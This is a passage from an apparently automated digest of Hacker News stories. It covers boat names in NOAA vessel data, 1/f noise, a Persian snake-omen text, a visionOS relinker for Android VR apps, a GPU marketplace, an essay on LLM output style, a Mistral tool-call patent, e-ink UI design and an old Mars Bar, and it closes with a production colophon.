A deep dive into AIS vessel data turns up 50,000 boat names packed with nautical puns, dirty jokes, and Tolkien deep cuts.

From SEA SLUT II to BILBOAT BAGGINS, a deep dive into AIS vessel data turns up 50,000 boat names packed with nautical puns, dirty jokes, and Tolkien deep cuts.

A colorful visualization of dozens of boat names in ship shapes against a blue background

A smattering of boat names found in NOAA's Marine Cadastre data set. Source: NOAA. Visualization: Jon Keegan/Beautiful Public Data.

In the vast ocean of government datasets that I trawl through, I am always on the lookout for moments where people express themselves, leaving behind their own little datum of personality. 

These tiny expressions of creativity show up all over public datasets. Air traffic controllers choose funny names for airplane navigation waypoints. Rejected vanity license plate registrations turn up in state motor vehicle databases. The names we pick for our dogs appear in local licensing databases, and the Social Security Administration even publishes the most popular names we give our children. And if you own a boat, you get to name that too. 

I went through several years’ worth of NOAA vessel traffic data and pulled a sample of more than 50,000 boat names that were broadcast via Automatic Identification System (AIS) transmitters, which are typically found on larger and commercial vessels. The collection of names is chock full of clever puns, dirty jokes, and references to TV shows, movies, songs, and mythological figures. These names also offer glimpses of the wealth and professions of the people who own a boat.   

⛵️🔎 Search all 50,000 boat names, browse by category, or hit random and see what floats to the top 👇🏻

Most commercial vessels 65 feet and over are required to broadcast their precise location and identity using AIS (which lets me make these cool maps), but plenty of recreational boaters broadcast anyway, by choice. These names were collected from NOAA’s Marine Cadastre “broadcast points” vessel traffic data. NOAA captures AIS data from terrestrial stations along US waterways, so any boat transmitting AIS within range of those stations may show up in the data may show up in this data, though the vast majority don’t transmit a vessel name. Boat owners don’t necessarily have to submit these names to NOAA — AIS vessel names aren’t a comprehensive government registry of boat names. Out of roughly 150,000 unique boats I sampled, only about 50,000 had names.

There are a lot of different kinds of boats in this data, but recreational “pleasure craft” make up about 43% of the boats, followed by cargo ships at 14%. There are also fishing boats, tugs and towboats, passenger ships and ferries, as well as military and search and rescue vessels.

About 12% of US households — roughly 14.5 million — were estimated to own or co-own a recreational boat in 2018, according to a US Coast Guard survey.

So who owns boats in the US? The latest edition survey of this survey, from 2018, tells us more about this group. Of boat-owning households, 82.9% were white, while 0.8% were Black or African American.

Boat owners’ lives are reflected in their vessels’ names. Owning a boat is not cheap — yearly expenses can run between $15,000 and $40,000.

That leads to plenty of names your favorite hedge fund manager might slap on a yacht: LIQUID ASSETS, BLUE CHIP III, PORT FOLIO, TRADE DESK, RISK & REWARD, MUTUAL FUN, 401(PLAY).

Lawyers and judges at sea might use these names: LAW DAWG, PRO BONO, MOTION GRANTED, CASE CLOSED, OVERRULED, TESTIMONY, NAUT2GUILTY, and DUE DILIGENCE.

And plenty of names your doctor or surgeon might pick: The CADUCEUS is a well-known symbol of medicine (though the traditional medical symbol is the Rod of ASCLEPIUS). A neurologist probably used SPIKE AND WAVE, then there’s SEROTONIN and the fisherman’s favorite feel-good hormone, ENDORFIN. If you call the DOC ON THE BAY, always remember to follow your DOCTOR’S ORDERS.

Feeling Knotty

There’s no shortage of spicy boat names. You’ll find lots of naughty-nautical wordplay like NAUTI-BOY and GET KNOTTY. There’s LOVE MACHINE 7, SEA SLUT II, and SCREAMING O.

Maybe you’ll see HOOTER PATROL III, FRISKY LADY or THICK CHICK looking for some AFTERNOON DELIGHT.

You can also find WET DREAM, WETTER THE BETTER and WET TUSH.

Books

Some captains draw inspiration from a more highbrow source like classic literature: the protagonist of Hemingway’s The Old Man and the Sea, SANTIAGO, Don Quixote’s GOOD OL SANCHO, Mark Twain’s TOM SAWYER (or a Rush reference?) and HUCK FINN II, the Soviet sub in Tom Clancy’s The Hunt for RED OCTOBER, Dickens’ A Christmas Carol gives us MARLEY'S GHOST, Beowulf’s monster GRENDEL, a nod to Steinbeck’s East of Eden: TIMSHEL, Pushkin’s Eugene ONEGIN, and King Arthur’s ship PRYDWEN.

As a Tolkien fan, I wasn’t surprised to see lots of references to The Lord of the Rings: Your favorite wizard GANDALF (aka MITHRANDIR) and his horse SHADOWFAX, and from the realm of the elves LADY GALADRIEL II, RIVENDELL, ARWEN, and IDRIL.

And don’t forget the HOBBIT’s hero, BILBOAT BAGGINS, and his PRECIOUS.

Das Boot

Some famous vessels from film make appearances: Alien’s space freighter NOSTROMO, Steve ZISSOU’s research ship BELAFONTE in The Life Aquatic, and Jack Sparrow’s BLACK PEARL. Spielberg’s JAWS gave us the famous line “you’re gonna need A BIGGER BOAT.” And someone decided to name their boat after the German submarine film DAS BOOT (German for “the boat”).

There’s also Kubrick’s STRANGELOVE, Christopher Nolan’s INCEPTION, Miyazaki’s SPIRITED AWAY, Dorothy’s RUBY SLIPPERS, and Citizen Kane’s ROSEBUD.

Movie quotes make appearances, too: The Princess Bride’s INCONCEIVABLE, Ice Cube’s line BYE FELICIA from Friday, and Star Wars fans will recognize ALMOST THERE. Names from the Star Wars universe are everywhere, with THE MANDALORIAN, KESSEL RUN, Wedge Antilles’ RED TWO, THE DARKSIDE, and many characters like CHEWBACCA, YODA, and LANDO.

A three-hour tour

Seafaring nerds of all stripes have also tapped into their favorite sci-fi titles for nautical inspiration: Doctor Who’s THE TARDIS, Star Trek’s IMPULSE POWER, HOLODECK 3, and Captain Picard’s famous line MAKE IT SO.

Gilligan’s Island featured the boat behind that ill-fated three-hour tour — the S.S.MINNOW. Other favorite TV shows popped up as well including PARTY OF FIVE, THE OFFICE, UGLY BETTY, HAPPY DAYS, and FANTASY ISLAND.

Festivus for the rest of us

The TV show I found referenced most often was Seinfeld: You can find boats named after Seinfeld characters ELAINE, KRAMER, and THE “HELLO NEWMAN”. Deeper cuts include NO SOUP FOR YOU, MARBLE RYE, Frank Costanza’s SERENITY NOW and FESTIVUS, and MASTER OF MY DOMAIN, a nod to one of the show's best episodes.

Nerdbox

For this post, I processed a small sample of broadcast point data from NOAA's Marine Cadastre Vessel Traffic dataset. There are 17 years worth of daily AIS broadcast point data (about 300 GB per year). I thought 50,000 was a large enough sample to capture the range and variety of names in this data.

I built a Jupyter notebook (Python) to process the data and analyze the names, and I used Claude Code to help categorize the names and build the interactive data browser.

You can download the data used for this project here.

The Daily Front Page 17 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Persistent Hiss
article

An Interesting Fourier Transform – 1/f Noise (2007)

by q7m·▲ 120 points·26 comments·dsprelated.com ↗
A surprising property is that the Fourier transform of a power law is also a power law.

Power law functions are common in science and engineering. A surprising property is that the Fourier transform of a power law is also a power law. But this is only the start- there are many interesting features that soon become apparent. This may even be the key to solving an 80-year mystery in physics.

It starts with the following Fourier transform:

Fourier transform of power law

The general form is tα ↔ ω-(α+1), where α is a constant. For example, t2 ↔ ω–3 and t -0.75 ↔ ω–0.25. Unfortunately, there are additional terms that distort this simple relation. First, the left side contains the term, u(t), the unit step function. This is defined as u(t) = 0 for t < 0, and u(t) = 1 for t ≥ 0. In other words, this makes the time domain a one-sided power law. Second, the power law in the frequency domain only pertains to the magnitude; there is a phase term that doesn't resemble a power law at all. Third, there is a scaling factor in the frequency domain, Γ(α +1). This is the Gamma function, which is essentially a continuous version of factorials. A graph of the Gamma function is shown below. Don't worry too much about this strange function. Think of it simply as a constant that scales the amplitude of the frequency domain, depending on the value of α.

The Gamma function

The table below shows nine cases of this Fourier transform, with alpha running from -2.0 to 2.0, and rough sketches of the curves. The frequency domain also shows a rough sketch of the magnitude graphed on a log-log plot, which turns out to be is a straight line with a slope of -(α+1). Take a few minutes to examine this figure, especially noting the symmetry between the time and frequency domains.

FT power law pairs

One of these cases should be familiar to you, where α=0. This is the Fourier transform of the unit step function, with a magnitude of 1/ω, and a phase of -π/2. As you probably recall, this describes the impulse and frequency response of the perfect integrator. Now consider the case of an integrator followed by another integrator. The impulse response of this two stage combination is the unit step response convolved with itself. In the frequency domain the magnitude becomes 1/ω × 1/ω, and the phase becomes 2 × (-π/2). This two-integrator cascade is shown on the graph for α=1, where the impulse response is a linearly increasing line, and the frequency spectrum is 1/ω2 , with φ = -π. Likewise, α=2 represents a cascade of three integrators, and so on. It is interesting that these Fourier transforms are so well behaved, in spite of both domains containing nasty features (such as: t2 as t → ∞ , and ω-3 as ω → 0 ).

Here is something even more interesting. As you approach α = -1, the time domain approaches a shape of t-1, and the frequency domain approaches a flat magnitude with a zero phase. However, a flat magnitude and zero phase corresponds to a delta function, δ(t), in the time domain. That is, in the limit as α → -1, u(t)t-α = δ(t). This is because the sharp point of t-α grows rapidly as α → -1, dominating the entire function. But what happens exactly at α = -1? How could the sharp point ever completely negate the seemingly finite width of t-1? The mathematics tells you not to ask this question. Recall that the frequency domain has a scaling factor of Γ(α+1). For α = -1, the gamma function is undefined.

Now we come to a feature that I find absolutely fascinating. In general, we have seen that a power law in one domain corresponds to a power law in the other domain. Further, there is an inverse relationship; if the time domain decays faster, then the frequency domain decays slower, and vice-versa. This means that there must be a certain decay rate that is unique, where both domains are equal. This occurs for α = -0.5, where the time domain is t-0.5 and the frequency domain is ω-0.5. Interesting, but what does this mean?

Now look at the figure below, a graph of the measured noise that originates within a common electronic amplifier. The flat section above 100 Hz is called white noise , and is well understood. However, the sloping portion below 100 Hz is not well understood at all. This is 1/f noise, a mystery that has resisted explanation for over 80 years. 1/f noise has been observed in the strangest places- electronics, traffic density on freeways, the loudness of classical music, DNA coding, and many others.

1/f noise example

Many of the properties of noise are directly related to the amount of power in a signal, that is, to the square of the amplitude. Accordingly, most of those working with noise think in terms of power spectra, not amplitude spectra. 1/f noise gets its name because its power spectrum has a shape that is close to 1/f. However, if we look at the amplitude spectrum for 1/f noise it has a shape of 1/f1/2. As can be seen above, on a log-log plot of amplitude, 1/f noise has a slope of -0.5. Now you can see where I’m going.

At least in a limited sense, 1/f noise is its own Fourier transform, with ω-1/2 in the frequency domain, and t-1/2 in the time domain. For instance, a single pulse given by u(t) t-1/2 has a 1/f power spectrum. Likewise, a randomly occurring sequence of such pulses has a 1/f power spectrum, at least over a wide range frequencies. Further, 1/f noise can be created by passing white noise through a filter with an impulse response of u(t) t-1/2. Unfortunately, none of these scenarios seems to have a physical interpretation that explains the widespread observation of 1/f noise. It’s clear that something is still missing.

There is also another issue: u(t) t-1/2 is the transform pair of Mag = ω-1/2 , φ = -π/4. However, no one knows what the phase of 1/f noise is, or even if it has a defined phase. If the phase happens to be different from φ = -π/4, then the corresponding time domain signal will also be different. That is, it may be that the characteristic time domain waveform of 1/f noise is simply not t-1/2.

Nevertheless, the idea that 1/f noise is its own Fourier transform is very compelling. Consider the Gaussian curve, the most important waveform associated with random events. The Central Limit Theorem tells us why the Gaussian is so commonly observed. However, it is also true that the Fourier transform of a Gaussian is a Gaussian. This seems more than coincidence– I think it is a critical clue in solving the mystery of 1/f noise.

Comments are certainly welcome! I especially appreciate suggestions for new directions in research and (god forbid) errors in math.

The Daily Front Page 18 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Omens and Serpents
article

"The Persian MâR-Nâmeh Or, the Book for Taking Omens from Snakes" (1892)

by Thevet·▲ 70 points·15 comments·publicdomainreview.org ↗
Ancient perceptions of snakes.

Addressing the Bombay Anthropological Society on the night of November 30, 1892, its then-president — George Waters, a British surgeon and lieutenant colonel — discussed a rather esoteric work: a Zoroastrian book known as the Marnameh. His interest in the text? Ancient perceptions of snakes.

With India then being home to the largest Zoroastrian community outside Iran, whose members were visibly active in many spheres of society and politics, Waters’ lecture likely had local interest. The surgeon — who also expounded on such subjects as the 1896 plague in Bombay — first discussed attitudes toward snakes in antiquity before introducing the Marnameh and his own footnote-studded translation from the Persian.

Written sometime in the late fifteenth century, the Marnameh is a short text listing the thirty days of the Zoroastrian calendar — each, for the most part, corresponding to a Zoroastrian divinity or figure — and what the sighting of a snake on each portends. It comprises part of the Revayat of Darab Hormozdyar (“The Tale of Darab, Friend of Ahura Mazda”), which belongs to the revayat (literally “narration”) tradition. Composed between the fifteenth and eighteenth centuries, revayats featured opinions on an array of matters related to Zoroastrianism, and appeared in both prose and poetry. They are not, however, considered scripture, nor are they part of the Avesta, the central corpus of Zoroastrian religious teachings, which includes the Gathas (“hymns”) of the prophet Zoroaster.

Aside from the odd subject matter of the text, what also makes the Marnameh fascinating is its unexpected treatment of snakes, which Zoroastrians have historically viewed with contempt. As Waters remarked:

The ancient Persians or Zoroastrians were one of those nations that held the snake in no veneration. . . . It was always considered meritorious to kill [it]. A believer . . . was recommended to keep with him a snake-killer, which was a stick to kill the snakes with. This stick was also used to punish the criminals who were considered to be as poisonous spiritually as the snakes were physically.

This abhorrence toward snakes is perhaps best reflected in the story of the Arab demon-king Zahhak, who in the Shahnameh — the “Book of Kings”, Iran’s national epic — terrorises people with the brain-devouring snakes growing from his shoulders. This tracks with how, in the Zoroastrian religion, snakes belong to a category of creatures known as khrafstar. In contrast to gospand, the beneficent creatures of Ahura Mazda (God), khrafstar (like frogs, snakes, and scorpions) are the baneful spawn of Ahriman, the sole origin of all evil. These classifications were noted by Agathias, and, before him, Plutarch.

While the Marnameh does indeed contain ill omens, a good number are auspicious. “If you see a snake on the day of Sheherivar”, says one such omen, “you will (soon) find an absent friend in your arms”. Similarly, the Marnameh asserts that the sight of a snake on the day of Zamyâd will lead to the obtainment of “justice from the Creator of the world”.

How, one should rightly ask, could a khrafstar like the snake possibly be associated with good fortune? Waters, who pointed out the un-Zoroastrian sentiment reflected in the book’s happy auguries, was of the belief that the Marnameh had possibly been influenced by Egyptian thought. In concluding her discussion of the Marnameh as an anomaly, the Indo-Iranian philologist Martina Palladino states that “serpents have not always belonged to the Ahrimanic sphere . . . despite the clear Zoroastrian hatred for these animals”, even adding that, “in pre-Zoroastrian Iran, these animals were not perceived negatively”. Could the positive associations of snakes in the Marnameh, then, be echoes of pre-Zoroastrian perceptions?

Despite its strangeness (or, perhaps, because of it), the Marnameh remains, centuries on, a largely forgotten and esoteric text. Even as a work of literature, it can “lay no claim to elegance of style or beauty of language”, to quote Waters; yet, like the poems of Hafez and the grounds of Turkish coffee, both of which are popularly used in divination among Iranians, the more favourable omens of the Marnameh might be a source of solace to some. After all, who wouldn’t want the “revolving heavens” to fulfill their wishes or to have their “desires . . . satisfied from all directions” — especially after stumbling upon some fork-tongued fiend?

The Daily Front Page 19 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — New Machines, New Markets
repository

Run Android ARM64 VR APKs on Apple Vision Pro

by LorenDB·▲ 176 points·58 comments·github.com ↗
★ 119⑂ 5 forks C

JIT-less relinker and compatibility layer for running Quest/Android XR APKs on visionOS and macOS

Running Android ARM64 VR APKs on Apple Vision Pro, no JIT required!

Architecture

klepton-ld translates Android .so libraries into loadable Apple .dylib and .framework libraries, which then link into the Klepton runtime. Klepton currently focuses on Java-thin applications only (no ART, no JVM).

For graphics, GLES 3.2 is translated to a vendored ANGLE GLES 3.0 (with its Metal backend), and Vulkan is translated to MoltenVK.

┌─────────────────────────────────────────────────────────────────┐
│  GUEST (translated Mach-O, instruction bytes mostly unmodified)  │
│  libil2cpp · libunity · libunityopus · libmain · burst · ...    │
└─────────────────────────────────────────────────────────────────┘
    ↕ imports resolved to Klepton runtime in `klepton-ld`
┌─────────────────────────────────────────────────────────────────┐
│  libklepton_bionic   libc/libm/libdl/pthread/liblog → libSystem │
│  libklepton_ndk      ALooper · ANativeWindow · ASensor · AAsset │ 
│  libklepton_jni      synthetic JavaVM / JNIEnv                  │
│  libklepton_ovrp     ovrp_* reimplementation                    │
│  ...                                                            │
└─────────────────────────────────────────────────────────────────┘
    ↕ Frontend platform (`mains`) and OS-specifics
┌─────────────────────────────────────────────────────────────────┐
│  MoltenVK (Vulkan → Metal)     ANGLE (GLES 3.0)                 │
│  Compositor Services · ARKit · GameController · AVAudioEngine   │
└─────────────────────────────────────────────────────────────────┘

While both Android and macOS reserve x18, some (a lot of) older Android applications still use x18, and macOS zeros x18 on context switches. All usage of x18 is patched by klepton-ld so that per-library TLS slots are used instead.

Klepton also has the ability to load and patch .so files at runtime with mmap, but this is only really useful on macOS where JIT is actually allowed. It's likely that some applications will require JIT if they happen to utilize scripting runtimes that expect it (LuaJIT, V8, whatever else).

Building

See BUILDING.md for the full guide. The short version:

brew install pkg-config sdl3 apktool          # host dependencies
apktool d -f -o beatsaber beatsaber.apk       # you supply the APK; see BUILDING.md
make check                                    # full regression sweep

Quick run scripts:

./build_run_viewer.sh # build and run macOS Beat Saber frontend
./build_run_vpro.sh   # build and run Vision Pro Beat Saber frontend
./build_run_slink.sh --shell --view  # macOS Steam VR Link frontend (WIP)

Status

Beat Saber is working on macOS and visionOS with minor graphical issues, Steam VR Link and improving generalizability/build tooling is still WIP.

The Daily Front Page 20 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — New Machines, New Markets
The Daily Front Page 21 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — New Machines, New Markets
article

Launch HN: Stoa Markets (YC S26) – A Marketplace for GPUs and AI Servers

by erenberke·▲ 75 points·50 comments·stoaexchange.com ↗

Buy and sell GPUs with verified counterparties and price discovery.

GPU supply has no shared price discovery layer.

Supply is scattered

OEM allocation, cloud capacity, brokers, operators, and secondary sellers each expose a different slice of the market.

Price depends on context

SKU, delivery timing, region, quantity, condition, financing, and urgency all change where GPUs actually clear.

Signals are incomplete

Buyers and sellers still rely on private quotes, stale lists, and partial broker color to see where hardware actually clears.

Supply, pricing, and execution in one venue.

Price GPU supply, discover clearing levels, and execute GPU transactions with verified counterparties.

Illustrative levels. Not live market data. Off-market comparison reflects typical private-channel premiums.

From RFQ to settled trade.

One structured path through the market - every step explicit, every step on record.

01 Describe the trade

Describe the hardware in plain language or attach a quote PDF. AI drafts the RFQ - you stay in control of every field.

02 Review and send

Terms, delivery, and deadlines are explicit before anything goes out. Accepting a quote creates a binding trade.

03 Execute at a firm price

Verified dealers respond with firm quotes. Accept, and the trade executes with grade, condition, and verification expectations on record.

04 Settle step by step

Settlement runs on a recorded timeline: confirmed, payment, shipped, delivered, inspected, settled, with evidence required along the way.

Built for every side of the GPU market.

GPU Brokers & dealers

Match supply with verified demand and see clearing levels.

Data center operators

Sell surplus, price hardware, and plan fleet rotations.

AI labs & enterprises

Find available GPUs and compare offers by SKU and region.

Cloud & neoclouds

Acquire capacity, place excess supply, and track market color.

OEMs, VARs & SIs

Route allocation, secondary supply, and enterprise demand.

Resellers & liquidators

Move used, refurbished, and recovered GPUs to verified buyers.

Lenders & lessors

Evaluate collateral, lease exposure, and liquidation paths.

Funds & capital partners

Underwrite GPU-backed trades and supply-side financing.

A market built for trust.

Stop choosing between market reach and counterparty risk. Stoa gives you both sides - access and structure.

Trading on Stoa

  • Verified counterparties on every trade
  • Firm quotes you can act on
  • Clearing levels across the whole market
  • Payment held until delivery confirms
  • Clean records from RFQ to delivery

Off-market trading

  • Unverified buyers and sellers
  • Indications, not firm prices
  • Partial view from private broker color
  • Wire-and-hope settlement risk
  • Deals scattered across DMs and spreadsheets
The Daily Front Page 22 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The AI Argument
article

Humanising LLM Outputs Is Dumb

by kuberwastaken·▲ 200 points·132 comments·kuber.studio ↗

The largest tell for me to tell where culture and sentiment is shifting for AI tools is usually X, viral GitHub repositories and Hacker News.

One of these tells I’ve been seeing a lot lately is skills like I have ADHD and Agents.md instructions such as giving outputs in only ASD-STE100 Simplified Technical English.

I understand the appeal, none of us really like the verboseness and specific quirks of LLM outputs, but I really think fixing that by humanising the model is the wrong abstraction.

The problem is that these instructions are not applied after the model has finished doing the work, it becomes part of the same work - If you tell an agent to use short sentences, avoid jargon, never overwhelm you and only include the most important details, you are asking it to continuously compress its output into a lower-bandwidth format.

That compression is lossy.

You probably never notice what got dropped because the output still reads nicely.

ASD-STE is a great example because it sounds so reasonable. It was designed to make documentation unambiguous for humans. But an agent isn’t a human technical writer, and the raw state is often the most information-dense representation available. Meanwhile the style rules sit on the same instruction list as: solve the task, use tools correctly, preserve abstractions, don’t break anything.

This becomes even stranger once agents start talking to other agents.

A subagent investigates a bug, turns its findings into a nice human-readable summary, the parent agent reads that summary, and then turns it into another nice human-readable summary for you.

If a subagent ran six tests, I don’t want:

Most tests passed, although there was one issue worth looking into.

I want:

5/6 PASS
FAIL: test_cache_invalidation
CAUSE: stale key survives restart
REPRO: tests/cache_test.py:184

More importantly, humanisation hides failure.

Agents fail in useful, ugly ways: conflicting evidence, unresolved branches, stack traces, uncertain assumptions. Human prose is extremely good at smoothing these into sentences like:

There are a few considerations here.

That sounds nicer.

But I’d rather find my agent is hallucinating or near its token window than be happy with that.

Every other system we build works the opposite way - Databases don’t store data in the format a dashboard displays it, compilers don’t make their IR pleasant to read, APIs don’t exchange friendly summaries.

We keep the highest-fidelity representation as long as possible and transform it at the boundary where a human consumes it, but LLM tooling is increasingly doing this backwards.

We're evolving, just backwards

To be clear, none of this is an argument against accessibility or personalisation.

If you want three-line answers or Simplified Technical English, great! I just think it’s better to do it at the end.

Let agents keep detailed state, let subagents exchange schemas, diffs, exact errors, confidence, provenance. Then compress it for me.

I think the best part is that these viral skills might actually be pointing toward the right future.

Users are patching this at the prompt layer, something that belongs further down the stack.

“Talk to me like I have ADHD” makes perfect sense as a renderer, it makes much less sense as an operating instruction. The durable version is agents whose native language is precise, machine-facing state, with the warm, concise, human version generated only at the boundary.

So the viral repos aren’t the end state, but a bug report.

The Daily Front Page 23 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The AI Argument
article

Mistral Patent for “Code implemented tool calls”

by theanonymousone·▲ 218 points·183 comments·patentsgazette.uspto.gov ↗

1. A method, comprising:

receiving, at a server, a user request for execution of one or more tool calls;

generating, by a large language model (LLM), a code block in a programming language, the code block configured to encapsulate the one or more tool calls;

executing, by the server, the code block in a sandbox;

in response to obtaining a pending tool call, pausing execution of the code block;

transmitting the pending tool call to a client for execution;

receiving, from the client, a first result of the pending tool call;

resuming execution of the code block and substituting the first result of the pending tool call for the pending tool call in the code block; and

returning a second result of the executed code block to the LLM.

The Daily Front Page 24 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Public Square
ask hn

Ask HN: In your experience, what are sound conventions for e-ink UI development?

by BoxOfRain·▲ 180 points·58 comments·news.ycombinator.com ↗

TL;DR I'm looking for advice regarding browser-based frontend development from people with practical e-ink UI experience. My specific device is a Bigme Hibreak Pro BW but I'm aiming for relatively broad compatibility.

I've recently switched to a black-and-white e-ink smartphone with the motivation of withdrawing from the attention economy somewhat and it's a genuinely cool piece of hardware. While the majority of my needs are met by this device there are a few things I'd like to have which don't work terribly well with the e-ink screen. I'm planning to implement a couple of projects to fill these gaps, at the moment I'm planning a Lemmy frontend and an OpenRouter frontend specifically for e-ink. Both are to be browser-based rather than native, to maximise compatibility and because I'm much more familiar with the web than Android development.

I would like to study the principles of sound e-ink UI design before approaching these projects to avoid creating unusable slop, in particular I am not entirely sure how to approach treating the refreshes as a first-class aspect of the design when I can't control them from the browser, and how to apply comprehensible UI conventions when a greyscale, high-contrast display is the target.

Some specific problems I have out of the gate are:

  • Streaming LLM output to the screen is basically the worst-case scenario for e-ink, I need to buffer it and paint it in chunks without this becoming horrible to use.

  • Ghosting is a serious problem, browsing HN on the device is a particularly obvious example. Ideally I want to avoid scrolling as far as possible and rely on pagination instead, which I feel has the potential to become annoying if not done well.

  • Given I must rely exclusively on layout and type to carry the UI, what design languages emphasise these qualities best? My gut says the early Mac OS versions wouldn't be a bad place to start, this seems relevant given the display constraints of the early macs.

I would greatly appreciate any advice on the design and implementation of e-ink UIs from people with practical experience in this area. This is purely to scratch a personal itch, once they're nailed down I'll put them out in the wild under the GPL.

Join the discussion on Hacker News →

The Daily Front Page 25 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Back-Page Card File
article

Mars Bar from 1991 found – and it's 20g bigger than today's

by RickJWagner·▲ 337 points·494 comments·bbc.com ↗

Victoria Gordon A Mars Bar from 1991 and a modern-day one held next to each other. The old Mars Bar is considerably bigger.

Now and then... the 1991 Mars Bar alongside one from today

A 35-year-old Mars Bar has been found during a house clearance – and the discovery has gone viral amid claims it highlights the effect of "shrinkflation".

The chocolate bar with a best-before date of 1991 was found during a clear-out of a house in Scunthorpe.

Victoria Gordon, who runs the cleaning service, posted a photo on social media of the 62.5g bar alongside one of today's Mars Bars, which is 40g.

"It was nearly as big as my hand, which was kind of why I noticed it," she said.

Victoria Gordon A woman holding up the old Mars Bar. She is wearing a navy vest and has red hair tied up with a full fringe.

Victoria Gordon found the old Mars Bar on 5 August

Speaking on BBC Radio Lincolnshire, Gordon said: "We were clearing out a hoarder's house and everything we were rooting through was decades old.

"This Mars Bar stood out to me because as I picked it up it was nearly the whole length of my hand.

"I was like, 'Wow, look at the size of that!'"

A Mars spokesperson said: "Over the last 35 years, we have made a number of updates to our bar sizes and pack formats to reflect consumer demand, alongside considering wider external factors such as manufacturing costs and the price of cocoa."

Supplied A woman in white overalls and orange gloves as well as a white mask is standing in a room full of cardboard and rubbish. She has her hands on her hips and her dark hair is tied up.

The chocolate was found during a house clearance

Gordon, who runs Pocket Rockets, is not sure what she will do with the bar, but she said she might be sitting on a "gold mine".

"I do post some hoarding videos but I've never had anything go this viral," she said.

"It's so fascinating what people find so interesting. I almost put it in the skip [but] I might do a UK tour with it."

The Daily Front Page 26 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Also on the Front Page
The Daily Front Page 27 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Colophon

That's the Front for Today

Issue No. #260810 — Monday, August 10, 2026 — went to press 2026-08-11 at 09:49 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Monday, August 10, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages, chose the highlights, and briefed the cover illustrator — 30 model calls and 252k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

A dramatic nocturnal workshop scene: a compact desktop computer with a glowing processor sits at the center of a workbench, surrounded by translucent mechanical helper arms sorting code cards, a secure glass isolation chamber, and tiny humming devices—a phone, a wearable, and a small household robot—all connected by strands of cool blue light. In the background, towering server racks fade into shadow while an old ferrite-core computer cabinet and a London taxi map suggest technology’s long arc. Classical newspaper illustration style, rich ink textures, deep midnight blue and warm amber lighting, no text, no letters, no logos.

Render the nocturnal workshop as a hand-painted tempera theatre backcloth: exaggerated forced perspective funnels a compact desktop computer with a glowing processor at the workbench’s center, surrounded by translucent mechanical helper arms sorting blank code cards, a secure glass isolation chamber, and tiny humming phone, wearable, and household robot, all joined by cool blue light strands; receding server racks dissolve into shadow behind an old ferrite-core computer cabinet and a simplified London taxi map, under one overhead stage wash. Use a deliberate palette of midnight indigo, cobalt blue, electric cyan, oxidized teal, amber-gold, and vermilion accents, with saturated scenic pigments, visible dry canvas weave, and no text, letters, or logos.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 27 156,926 67,812
layoutgpt-5.6-terra 1 18,532 2,270
covergpt-5.6-luna 1 359 217
covergpt-image-2 1 289 5,488

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows by riordan — research.meta.ai·HN discussion ↗
  2. Docker Sandboxes – Disposable, isolated sandboxes for AI agents by etoxin — docker.com·HN discussion ↗
  3. Tl;dv: Over 180k meetings left wide open by colesantiago — bobdahacker.com·HN discussion ↗
  4. What Happened to HackerOne? by hipparchus — blog.teknogeek.io·HN discussion ↗
  5. Exploiting System Management Mode with a very long interrupt by WhiteDawn — github.com·HN discussion ↗
  6. Show HN: Needle2: 14MB agentic LLM for phones, wearables, smart home and robots by HenryNdubuaku — cactuscompute.com·HN discussion ↗
  7. Auto mode is now the default in Claude Code by sbehere — claude.com·HN discussion ↗
  8. Exploring Claude/GPT Knowledge Cutoffs and Pre-Training Timelines by sshh12 — blog.sshh.io·HN discussion ↗
  9. How We Pushed CDC into Postgres by craigkerstiens — snowflake.com·HN discussion ↗
  10. Rust SIMD on the GPU by sagacity — vectorware.com·HN discussion ↗
  11. ATProto for Distributed Systems Engineers by LelouBil — atproto.com·HN discussion ↗
  12. Parametron: 50s Japanese computer that uses neither transistors nor vacuum tubes by xeonmc — ethw.org·HN discussion ↗
  13. Squeak 6.1 by fniephaus — squeak.org·HN discussion ↗
  14. Taxi drivers rarely die of Alzheimer's by jader201 — theconversation.com·HN discussion ↗
  15. 50k Boat Names by jonathanmkeegan — beautifulpublicdata.com·HN discussion ↗
  16. An Interesting Fourier Transform – 1/f Noise (2007) by q7m — dsprelated.com·HN discussion ↗
  17. "The Persian MâR-Nâmeh Or, the Book for Taking Omens from Snakes" (1892) by Thevet — publicdomainreview.org·HN discussion ↗
  18. Run Android ARM64 VR APKs on Apple Vision Pro by LorenDB — github.com·HN discussion ↗
  19. Show HN: Voice driven murder mystery, Interview AI suspects with your voice by MrRowTheBoat — whodunnitai.com·HN discussion ↗
  20. Launch HN: Stoa Markets (YC S26) – A Marketplace for GPUs and AI Servers by erenberke — stoaexchange.com·HN discussion ↗
  21. Humanising LLM Outputs Is Dumb by kuberwastaken — kuber.studio·HN discussion ↗
  22. Mistral Patent for “Code implemented tool calls” by theanonymousone — patentsgazette.uspto.gov·HN discussion ↗
